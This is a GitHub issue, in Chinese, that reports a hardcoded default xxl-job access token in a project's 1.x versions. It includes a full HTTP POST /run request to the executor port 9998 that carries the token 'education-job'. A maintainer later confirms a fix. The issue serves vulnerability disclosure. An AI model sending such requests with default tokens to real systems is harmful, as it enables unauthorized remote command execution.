Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

硬编码问题 #24

Closed
defaul0t opened this issue Aug 18, 2023 · 1 comment
Closed

硬编码问题 #24

defaul0t opened this issue Aug 18, 2023 · 1 comment

Comments

@defaul0t
Copy link

1.x使用的xl-job组件存在默认的token值,将会导致命令执行的风险

1692346016813

找到xxl的接口端口,默认是9998

POST /run HTTP/1.1
Host: 127.0.0.1:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
XXL-JOB-ACCESS-TOKEN: education-job
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

验证这个请求是否成功

@fengyws
Copy link
Contributor

fengyws commented Jun 4, 2024

感谢反馈,已经处理

@fengyws fengyws closed this as completed Jun 4, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants